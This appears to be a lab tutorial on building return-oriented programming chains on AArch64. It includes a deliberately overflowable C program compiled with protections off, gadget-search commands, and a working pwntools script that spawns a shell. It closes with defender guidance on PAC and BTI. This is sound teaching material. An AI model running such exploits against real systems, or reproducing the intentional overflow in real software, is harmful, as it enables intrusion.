Skip to content

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

Published on 3 min read

This is the second walkthrough in the ARM64 Exploitation area. The previous guide hijacked a saved link register to reach a win() function. Here there is none, so we chain existing code — ROP — but the mechanics change because ret branches to x30, not to a stack slot.

Your own binary, disposable lab. See the lab rules.

On x86-64, ret pops the next gadget address off the stack, so a chain is simply a list of addresses (see the x86 ROP guide). On AArch64, ret branches to x30. To run gadget after gadget, each gadget must reload x30 from the stack before its ret. The workhorse is the ordinary function epilogue:

ldp  x29, x30, [sp], #0x10   ; load next gadget address into x30 from the stack
ret                          ; branch to it

So an AArch64 chain is a sequence of stack entries that each gadget's ldp pulls into x30, interleaved with the argument values other gadgets load:

An AArch64 ROP chain reloads x30 from the stack at each step
ldp x29,x30,[sp],#0x10 ; retloads next gadget into x30
ret -> x30
ldp x0,x1,[sp],#0x10 ; retloads x0 = &"/bin/sh"
ret -> x30
system (in libc)called with x0 = "/bin/sh"
codelibrary

Loading arguments

Arguments live in x0–x7. You need gadgets that load them from the stack:

$ ROPgadget --binary vuln | grep -E 'ldp x0, x1, .*ret'
0x... : ldp x0, x1, [sp], #0x10 ; ret
$ ROPgadget --binary vuln | grep -E 'ldr x0, \[sp.*ret'
0x... : ldr x0, [sp, #0x8] ; ret

For system("/bin/sh") you load x0 with a pointer to the string and branch into system.

The target and chain

/* vuln.c — AArch64, static, mitigations off. */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 512); }
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
aarch64-linux-gnu-gcc -static -fno-stack-protector -no-pie \
  -mbranch-protection=none -O0 -g -o vuln vuln.c

pwntools understands AArch64 gadgets and lays out the link-register chain:

# arm_rop.py
from pwn import *

context.binary = elf = ELF("./vuln")          # context.arch = 'aarch64'
libc = elf                                     # static: system + "/bin/sh" inside

rop = ROP(elf)
binsh = next(elf.search(b"/bin/sh\x00"))
rop.call(elf.symbols["system"], [binsh])       # loads x0, branches to system
info(rop.dump())

payload = flat({72: rop.chain()})              # 72 = offset to saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.send(payload)
io.interactive()

The first ldp … ret gadget (reached via the overwritten saved x30) pulls the next gadget into x30; that one loads x0; the last branch enters system. Same goal as x86 — system("/bin/sh") — reached by threading the chain through the link register instead of the stack pointer.

Gadget scarcity is real on ARM

AArch64 is fixed-width (4 bytes) with no unaligned decoding, so you cannot carve gadgets from the middle of instructions as on x86. The gadget supply is smaller. When it runs short, attackers fall back to whole-function reuse (ret2libc) — which on ARM is often the easier path — or signal-frame tricks.

Turn the mitigations back on

The ARM code-reuse defences are hardware features that attack the chain directly:

MitigationEffect on the chain
Stack canaryStops the overflow before the first ldp/ret
PIE + ASLRRandomizes gadgets; needs a leak
PAC (pac-ret)Each protected ret authenticates x30; a forged link register faults
BTIIndirect branches must land on a bti instruction; mid-function gadgets are invalid targets

Both PAC and BTI are the subject of the next guide. The short version: PAC breaks the backward edge (returns), BTI breaks the forward edge (indirect jumps/calls), and together they make ARM code reuse markedly harder than on stock x86-64.

What this teaches a defender

  • The link-register chain is the ARM signature. Recognising ldp x29, x30, [sp], … gadgets in a chain is how you read AArch64 exploitation. Defensively, these are exactly the returns PAC signs.
  • Ship -mbranch-protection=standard. It enables both PAC and BTI. On ARMv8.3+ hardware this is the most effective single measure against the technique in this guide.
  • Fixed-width ISA helps, a little. Fewer gadgets is a real (if secondary) benefit of AArch64. Do not rely on it — large binaries still have enough — but lean, minimally static builds compound the effect.

Key takeaways

  • AArch64 ret branches to x30, so a ROP chain reloads x30 from the stack at each step via ldp x29, x30, [sp], #N ; ret gadgets.
  • Arguments are loaded into x0–x7 with ldp/ldr gadgets; system("/bin/sh") needs x0 set.
  • Fixed-width instructions make gadgets scarcer than on x86, pushing attackers toward ret2libc.
  • PAC (backward edge) and BTI (forward edge) are the ARM mitigations built to break this — covered next.

Next: PAC and BTI, the pointer-authentication and branch-target defences that make this chain fail.

Related guides

0x8000 · ARM64 Exploitation

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.

0x7000 · Exploitation Techniques

ret2csu: Borrowing the Runtime's Universal Gadget

No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.

0x7000 · Exploitation Techniques

Stack Pivoting: Relocating the ROP Chain

When the overflow gives you only a few bytes past the return address, pivot the stack pointer into a buffer you fully control and run the real chain from there. A pwntools walkthrough.